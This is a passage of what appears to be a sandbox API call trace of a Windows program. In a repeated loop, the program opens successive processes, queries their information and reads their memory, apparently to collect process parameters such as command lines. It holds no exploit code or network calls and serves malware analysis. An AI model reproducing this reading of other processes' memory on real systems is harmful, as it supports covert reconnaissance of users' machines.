nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.432] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.433] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.433] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x39e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.434] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.434] malloc (_Size=0x7c) returned 0x20abc2858d0 [0264.434] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a196c, lpBuffer=0x20abc2858d0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2858d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.435] free (_Block=0x20abc2858d0) [0264.435] CloseHandle (hObject=0x16c) returned 1 [0264.435] _ui64tow_s (in: _Value=0xf40, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3904") returned 0x0 [0264.439] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3904") returned 4 [0264.440] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.440] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.453] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf40) returned 0x16c [0264.453] GetLastError () returned 0x0 [0264.454] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.454] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.454] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.454] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.455] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.456] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.457] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.457] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.457] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.458] malloc (_Size=0x68) returned 0x20abc280840 [0264.458] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e1958, lpBuffer=0x20abc280840, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0264.458] free (_Block=0x20abc280840) [0264.459] CloseHandle (hObject=0x16c) returned 1 [0264.550] _ui64tow_s (in: _Value=0xf48, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3912") returned 0x0 [0264.554] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3912") returned 4 [0264.554] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.554] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.568] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf48) returned 0x16c [0264.568] GetLastError () returned 0x0 [0264.569] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.570] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x29c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.570] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.570] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x541cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.570] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5418f8, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.571] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.572] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.573] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x29c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.573] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5412e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.573] malloc (_Size=0x68) returned 0x20abc280290 [0264.573] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x541958, lpBuffer=0x20abc280290, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0264.574] free (_Block=0x20abc280290) [0264.574] CloseHandle (hObject=0x16c) returned 1 [0264.575] _ui64tow_s (in: _Value=0xf50, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3920") returned 0x0 [0264.579] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3920") returned 4 [0264.580] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.580] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.604] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf50) returned 0x16c [0264.604] GetLastError () returned 0x0 [0264.606] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.606] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x26b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.606] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.606] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x481d30, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.606] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4818f8, lpBuffer=0x2dc22fc240, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.608] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.609] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.609] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x26b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.609] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4812e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.610] malloc (_Size=0x88) returned 0x20abc285c30 [0264.610] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x481978, lpBuffer=0x20abc285c30, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc285c30*, lpNumberOfBytesRead=0x0) returned 1 [0264.610] free (_Block=0x20abc285c30) [0264.611] CloseHandle (hObject=0x16c) returned 1 [0264.611] _ui64tow_s (in: _Value=0xf64, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0264.616] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3940") returned 4 [0264.617] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.617] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0x16c [0264.635] GetLastError () returned 0x0 [0264.636] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.652] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x358018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.652] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.652] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1d20, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.652] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc22fc240, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.654] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.655] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.655] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x358020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.655] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.656] malloc (_Size=0x84) returned 0x20abc285720 [0264.656] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1974, lpBuffer=0x20abc285720, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc285720*, lpNumberOfBytesRead=0x0) returned 1 [0264.657] free (_Block=0x20abc285720) [0264.657] CloseHandle (hObject=0x16c) returned 1 [0264.658] _ui64tow_s (in: _Value=0xf6c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3948") returned 0x0 [0264.661] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3948") returned 4 [0264.662] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.662] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.677] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf6c) returned 0x16c [0264.677] GetLastError () returned 0x0 [0264.678] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.678] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x419018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.678] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.679] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x391c90, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.679] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3918f8, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.680] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.681] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.682] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x419020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.682] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3912e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.682] malloc (_Size=0x54) returned 0x20abc2a7840 [0264.682] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x391944, lpBuffer=0x20abc2a7840, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7840*, lpNumberOfBytesRead=0x0) returned 1 [0264.683] free (_Block=0x20abc2a7840) [0264.684] CloseHandle (hObject=0x16c) returned 1 [0264.684] _ui64tow_s (in: _Value=0xf78, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3960") returned 0x0 [0264.688] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3960") returned 4 [0264.689] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.689] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.930] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf78) returned 0x16c [0264.930] GetLastError () returned 0x0 [0264.931] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.931] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ab018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.931] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.931] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e1ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.932] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e18f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.933] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.935] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.935] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ab020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.935] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.935] malloc (_Size=0x6e) returned 0x20abc2831b0 [0264.935] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0264.936] free (_Block=0x20abc2831b0) [0264.937] CloseHandle (hObject=0x16c) returned 1 [0264.938] _ui64tow_s (in: _Value=0xf88, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3976") returned 0x0 [0264.942] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3976") returned 4 [0265.028] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0265.028] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0265.040] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf88) returned 0x16c [0265.040] GetLastError () returned 0x0 [0265.041] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0265.041] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x415018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0265.042] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0265.042] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x271c90, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0265.042] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2718f8, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0265.140] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0265.142] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0265.142] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x415020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0265.142] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2712e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0265.142] malloc (_Size=0x54) returned 0x20abc2a78a0 [0265.142] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x271944, lpBuffer=0x20abc2a78a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a78a0*, lpNumberOfBytesRead=0x0) returned 1 [0265.143] free (_Block=0x20abc2a78a0) [0265.144] CloseHandle (hObject=0x16c) returned 1 [0265.144] _ui64tow_s (in: _Value=0xf90, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3984") returned 0x0 [0265.148] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3984") returned 4 [0265.150] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0265.150] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0265.166] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf90) returned 0x16c [0265.166] GetLastError () returned 0x0 [0265.167] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, 